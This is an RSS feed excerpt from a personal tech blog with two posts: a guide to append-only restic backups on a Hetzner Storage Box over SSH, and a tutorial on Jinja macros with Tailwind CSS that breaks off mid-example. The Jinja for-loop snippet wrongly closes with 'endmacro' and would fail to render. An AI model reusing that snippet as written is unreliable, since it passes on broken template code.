&lt;/div></description></item><item><title>Append-only Restic backups on a Hetzner Storage Box</title><link>https://fluix.one/blog/hetzner-restic-append-only/</link><pubDate>Fri, 05 May 2023 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/hetzner-restic-append-only/</guid><description>&lt;p>This quick guide is written after hours of trying to get a basic &lt;a href="https://restic.net/">restic&lt;/a> backup repository setup on a &lt;a href="https://www.hetzner.com/storage/storage-box">Hetzner Storage Box&lt;/a>. This took so long because &lt;a href="https://docs.hetzner.com/robot/storage-box/">Hetzner documentation&lt;/a> on the Storage Box is lacking and restic&amp;rsquo;s &lt;a href="https://rclone.org/commands/rclone_serve_restic/">rclone backend&lt;/a> is complex.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>On the Storage Box, setup an &lt;code>authorized_keys&lt;/code> file as such:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">command&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;rclone serve restic --stdio path/to/repo&amp;#34;&lt;/span> &amp;lt;public key&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>On a client, run restic commands as such:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">restic -o rclone.program&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;ssh -p 23 u###@u###.your-storagebox.de -i /path/to/private/key&amp;#34;&lt;/span> &lt;span class="o">[&lt;/span>command&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>rclone.program&lt;/code> command can be simplified to simply &lt;code>ssh &amp;lt;host&amp;gt;&lt;/code> if you configure an SSH config for whichever user you&amp;rsquo;ll be running this script as.&lt;/p>
&lt;h2 id="background">Background&lt;/h2>
&lt;p>Before creating backups, restic requires the &lt;a href="https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html">creation of a repository&lt;/a> through some backend. The simplest way to create a repository on a Storage Box would be to use the SFTP backend, but I would prefer using an &lt;a href="https://restic.readthedocs.io/en/latest/060_forget.html#security-considerations-in-append-only-mode">append-only repository&lt;/a> so that if my machines are compromised, I do not lose all backups alongside the original data from an attacker running a &lt;code>forget&lt;/code> or &lt;code>prune&lt;/code> command. So, I must use the &lt;a href="https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html#rest-server">REST Server backend&lt;/a> or &lt;a href="https://rclone.org/commands/rclone_serve_restic/">rclone backend&lt;/a> instead.&lt;/p>
&lt;p>&lt;em>Side tangent, I think append-only backups are an important feature that some people forget to think about when it comes to backing up data. If your backup scheme involves clients sending data to a server, have you considered what happens if they become compromised and send commands to delete data? You may lose your original copy of the data &lt;strong>and&lt;/strong> any backups.&lt;/em>&lt;/p>
&lt;p>&lt;em>Of course, if you&amp;rsquo;re using a scheme where a server pulls data you are safe, or if your server keeps snapshots you&amp;rsquo;re also safe. Many cloud (backup) storage providers don&amp;rsquo;t support the former, and I prefer not to use the latter because it is vendor-specific and requires setup outside of the backup tool itself. I prefer a simple storage provider which gives me some amount of storage, as well as the ability to run restic (historically &lt;a href="https://www.borgbackup.org">Borg&lt;/a>) in server mode.&lt;/em>&lt;/p>
&lt;p>&lt;em>To be clear, append-only mode isn&amp;rsquo;t foolproof, for the reasons covered in the &lt;a href="https://restic.readthedocs.io/en/latest/060_forget.html#security-considerations-in-append-only-mode">append-only repository&lt;/a> documentation. This page and the rest of restic&amp;rsquo;s documentation on security considerations and threat modelling is excellent, by the way.&lt;/em>&lt;/p>
&lt;p>Back to setting up the backend for my restic repository, let&amp;rsquo;s take a look at the &lt;a href="https://docs.hetzner.com/robot/storage-box/">Hetzner documentation&lt;/a>. Well, there&amp;rsquo;s no mention of restic, but there is a mention of Borg&amp;rsquo;s append-only mode telling people to look at its documentation. I happen to know Borg&amp;rsquo;s append-only mode operates in a similar way of running a backend on the server, so let&amp;rsquo;s keep looking. Connecting to the Storage Box through SSH gives some clues:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">/home &amp;gt; &lt;span class="nb">help&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># --- snip ---&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> Available as server side backend: &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> borg &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> rsync &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> scp &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> sftp &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> rclone serve restic --stdio &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> Please note that this is only a restricted shell which &lt;span class="k">do&lt;/span> not &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> support shell features like redirects or pipes. &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> You can find more information in our Docs: &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> https://docs.hetzner.com/robot/storage-box/ &lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+-----------------------------------------------------------------------------+
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That last backend looks like the one we need, with an added &lt;code>--append-only&lt;/code> flag and path. Let&amp;rsquo;s try it with the &lt;a href="https://man.archlinux.org/man/sshd.8.en#command=_command_">&lt;code>command=&lt;/code> forced command syntax&lt;/a> of the &lt;code>authorized_keys&lt;/code> file. How you would know that this is the right way to do so is beyond me, especially because trying to run the command in the restricted interactive shell fails with &amp;ldquo;Command not found.&amp;rdquo;&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">command&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;rclone serve restic --stdio &amp;lt;repository&amp;gt;&amp;#34;&lt;/span> &amp;lt;public key&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now for the client side: the documentation is mostly centered around running rclone, a program which manages files on cloud storage providers, locally which will then connect to some backend (e.g. SFTP) as such:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ restic -r rclone:&amp;lt;repository&amp;gt; &lt;span class="o">[&lt;/span>command&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trying to setup rclone locally proved unsuccessful, because it was the wrong way to go about it. Attempting to use the REST backend (which is what &lt;code>rclone serve&lt;/code> actually serves) won&amp;rsquo;t work either, because of the &lt;code>--stdio&lt;/code> flag which serves the REST backend over stdin/out instead of an HTTP port. And no, you cannot remove this flag and listen on a port becuase Hetzner doesn&amp;rsquo;t allow listening on arbitrary ports. Instead, we need to tell restic to use the rclone instance that will run on the other end of the SSH connection, using the remarkably simple to remember command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ restic -o rclone.program&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;ssh &amp;lt;host&amp;gt;&amp;#34;&lt;/span> -r rclone:&amp;lt;repository&amp;gt; &lt;span class="o">[&lt;/span>command&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The best part about this is that it makes rclone itself no longer necessary on client machines, so I only need to install restic.&lt;/p>
&lt;p>As I write this, I will mention that this invocation is actually mentioned at the very bottom of the &lt;a href="https://restic.readthedocs.io/en/latest/030_preparing_a_new_repo.html#other-services-via-rclone">restic rclone backend documentation&lt;/a>. I ended up figuring this out through a &lt;a href="https://ruderich.org/simon/notes/append-only-backups-with-restic-and-rclone">blog post by Simon Ruderich&lt;/a>. Funnily enough, that blog post is also linked to on the restic documentation. Guess I should have read through things more carefully being trying to set this up.&lt;/p></description></item><item><title>Components using Jinja macros with TailwindCSS</title><link>https://fluix.one/blog/jinja-macros/</link><pubDate>Sat, 11 Mar 2023 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/jinja-macros/</guid><description>&lt;p>I&amp;rsquo;ve been doing web development for several years now and have come up with a frontend development pattern I quite like. So, here I am sharing it. To preface this, I want to say that I have a general distaste towards large amounts of JavaScript for its impacts on web security, privacy, and accessibility, its poor packaging and dependency situation, but mainly because I just haven&amp;rsquo;t used it all that much. So, my solution will avoid having a strict dependency on JavaScript.&lt;/p>
&lt;p>I generally use Nginx as a reverse proxy in front of a Python backend using the Django framework, backed by a PostgreSQL database and, sometimes, a Redis cache. These are there to build the backend of my websites, have a place to store long-lived and ephemral data, and serve assets like images, videos, and the small amounts of JavaScript I do use. All of these tools can be replaced with your preferred alternatives. Now come the core components of this pattern: my preferred templating engine, &lt;a href="https://jinja.palletsprojects.com/">Jinja&lt;/a>, and the &lt;a href="https://tailwindcss.com/">Tailwind CSS&lt;/a> framework. You&amp;rsquo;ll see why I chose Jinja below, but the reason I chose Tailwind was because of its utility-first design.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The utility-first design allows for easy customization where necessary and places all styling within the markup, however, without a component system like that of React, I would end up with very repetitive HTML. Let&amp;rsquo;s work with an example of a frequently asked question section on a page:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;mb-4 px-4&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">h1&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;text-lg text-gray-900 font-bold&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>How do I do X?&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">h1&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">p&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;text-md text-gray-600 font-normal&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Simple! You just have to foo bar.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">p&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;mb-4 px-4&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">h1&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;text-lg text-gray-900 font-bold&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>How do I do Y?&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">h1&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">p&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;text-md text-gray-600 font-normal&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Difficult! You would have to bar foo.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">p&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&amp;lt;!-- More questions --&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That would be a lot of places to change if I wanted to change the font colours, let alone add new tags. One suggestion might be to provide data as part of the rendering context and use a for loop as such:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="nv">title&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nv">answer&lt;/span> &lt;span class="k">in&lt;/span> &lt;span class="nv">data&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;div class=&amp;#34;mb-4 px-4&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h1 class=&amp;#34;text-lg text-gray-900 font-bold&amp;#34;&amp;gt;&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">title&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">&amp;lt;/h1&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p class=&amp;#34;text-md text-gray-600 font-normal&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">answer&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/div&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endmacro&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&amp;hellip;but this would mix content and code: not ideal.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> Sure, you could store this data elsewhere, but that increases complexity&lt;/p>
&lt;p>Instead, let&amp;rsquo;s use &lt;a href="https://jinja.palletsprojects.com/en/3.0.x/templates/#macros">Jinja macros&lt;/a>! A macro is essentially a function inside of HTML which can be called with parameters.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">macro&lt;/span> &lt;span class="nv">question&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nv">title&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nv">answer&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;div class=&amp;#34;mb-4 px-4&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h1 class=&amp;#34;text-lg text-gray-900 font-bold&amp;#34;&amp;gt;&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">title&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">&amp;lt;/h1&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p class=&amp;#34;text-md text-gray-600 font-normal&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">answer&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/div&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endmacro&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">question&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="s2">&amp;#34;How do I do X?&amp;#34;&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="s2">&amp;#34;Simple! You just have to foo bar.&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">question&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="s2">&amp;#34;How do I do Y?&amp;#34;&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="s2">&amp;#34;Difficult! You would have to bar foo.&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="c">{# More questions. #}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now you may be asking, what do I do if I want to nest macros or the parameter is a very long string? Instead of using the macro directly, you can instead &lt;a href="https://jinja.palletsprojects.com/en/3.0.x/templates/#call">call&lt;/a> the macro, which lets you use it as a block. The contents of the block can be accessed using the &lt;code>caller&lt;/code> function within the macro as such:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">macro&lt;/span> &lt;span class="nv">question&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nv">title&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;div class=&amp;#34;mb-4 px-4&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h1 class=&amp;#34;text-lg text-gray-900 font-bold&amp;#34;&amp;gt;&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">title&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">&amp;lt;/h1&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p class=&amp;#34;text-md text-gray-600 font-normal&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">caller&lt;/span>&lt;span class="o">()&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/div&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endmacro&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">call&lt;/span> &lt;span class="nv">question&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="s2">&amp;#34;How do I do X?&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endcall&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="c">{# More questions. #}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For text-based sections, I sometimes opt to use Markdown within the call block and render it with a markdown function I write as such: &lt;code>{{ markdown(caller()) }}&lt;/code>. One other particularly clever trick you can do is return values, including other macros, back to the caller. This can be useful for restricting macros to be used only within certain contexts or to be able to use share names where you otherwise couldn&amp;rsquo;t. Of course, you should use this feature conservatively:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">macro&lt;/span> &lt;span class="nv">faq_section&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nv">header&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">macro&lt;/span> &lt;span class="nv">question&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nv">title&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nv">answer&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;div class=&amp;#34;mb-4 px-4&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h2 class=&amp;#34;text-lg text-gray-900 font-bold&amp;#34;&amp;gt;&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">title&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">&amp;lt;/h2&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p class=&amp;#34;text-md text-gray-600 font-normal&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">answer&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/div&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endmacro&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;div class=&amp;#34;pb-4&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h1 class=&amp;#34;text-xl&amp;#34;&amp;gt;&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">header&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">&amp;lt;/h1&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">caller&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nv">question&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/div&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endmacro&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">call&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nv">question&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="nv">faq_section&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="s2">&amp;#34;Account Questions&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">question&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="s2">&amp;#34;How do I do X?&amp;#34;&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="s2">&amp;#34;Simple! You just have to foo bar.&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="c">{# More questions. #}&lt;/span>&lt;span class="x">
